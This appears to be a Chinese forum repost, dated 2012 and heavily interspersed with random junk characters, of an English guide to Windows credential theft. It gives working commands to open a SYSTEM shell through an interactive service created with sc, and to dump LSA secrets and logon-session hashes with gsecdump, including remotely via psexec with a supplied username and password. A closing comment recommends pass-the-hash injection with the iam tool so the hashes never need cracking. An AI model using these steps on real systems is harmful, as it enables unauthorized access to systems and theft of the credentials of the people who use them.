o get a DOS Prompt as NT system:3 g: K8 A; I O: ?3 }
* b# H. b" M0 K4 L% O7 G
C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
7 I, y; X1 M0 I! b; m+ [[SC] CreateService SUCCESS
9 Z3 V* s3 t2 j" w4 N
- j% @: }% l; E3 K3 }$ N7 v* nC:\>sc start shellcmdline
5 b, Y! e' Z2 M4 R* j. x9 h& c; O[SC] StartService FAILED 1053:
7 \: D. u& T% _( N F7 ]& f x# G7 B+ g3 M
The service did not respond to the start or control request in a timely fashion.
/ p+ m8 a N% i! r" f2 T0 a, h4 U/ U8 h2 X! O
C:\>sc delete shellcmdline& h Z4 j% ~$ }4 j6 w5 G
[SC] DeleteService SUCCESS L6 G* [8 n8 p/ G: i
' E9 _* N1 F3 x$ u" M9 z------------
8 |' O. {/ H& V; M) ~% v E
1 _2 u2 T( t6 h& P# a" z5 u$ aThen in the new DOS window:
# ]9 e" }& u6 i( c, i, s1 R% q7 [1 _4 `
Microsoft Windows XP [Version 5.1.2600]
. Q$ g9 f% k4 F3 z1 h* ~* q(C) Copyright 1985-2001 Microsoft Corp.
* }2 G3 h6 m- E3 d2 ?9 C; }
9 j* `" ~$ u) wC:\WINDOWS\system32>whoami V6 S3 o- p, Y
NT AUTHORITY\SYSTEM8 U, A1 z, x3 g0 ^9 K: j
: N' g7 h% M$ D
C:\WINDOWS\system32>gsecdump -h* _2 g$ `% w, Q0 f( W
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
8 e; c% l. C, tusage: gsecdump [options]1 I @0 o2 l$ i; z6 v) |$ d# ?
; D: V) E5 L7 V! G
options:
* R: | f( J0 Z-h [ --help ] show help
6 I. `2 R x" j( j-a [ --dump_all ] dump all secrets
9 K5 }& ]7 X; _- U. B-l [ --dump_lsa ] dump lsa secrets8 A8 r( Y+ ^- g2 G; J! d; s1 E( T1 ^
-w [ --dump_wireless ] dump microsoft wireless connections
' h# f8 ]1 z$ ?9 }-u [ --dump_usedhashes ] dump hashes from active logon sessions
+ _6 Q% o; D! C" w& y0 y7 u& ]+ d-s [ --dump_hashes ] dump hashes from SAM/AD
- J( n2 S& A( {$ f a, A# u
' A6 }8 [) A1 i9 UAlthough I like to use:
3 n( t' z c- f* U8 w! q1 o) u; ]; [, Y" V4 g
PsExec v1.83 - Execute processes remotely, x( V! s' p( S& o) \
Copyright (C) 2001-2007 Mark Russinovich/ }4 {& s, o; ?8 G# Y
Sysinternals - 链接标记[url]www.sysinternals.com[/url]
: \% r; B8 z+ v$ D
+ Y2 m1 L0 m8 w7 ~, N9 OC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
; y M( p8 _6 `: B$ Z* P
; f0 Q$ R& b4 ~+ j$ Wto get the hashes from active logon sessions of a remote system.
- \4 G1 r( T9 O) B; U- w5 r$ |7 d& Q: `* z- I
These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
' x Q! p& k' ^3 [2 i4 J
9 J& r( ^# H# g6 |8 R提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
% c/ Y( b% V- W7 `( Z原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
3 U: m% B# H2 P( e8 N' \# Y
$ I& W2 }5 J% s我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。7 N, B D+ o7 c
|
发表于 2012-11-6 21:09:29
收藏
支持
反对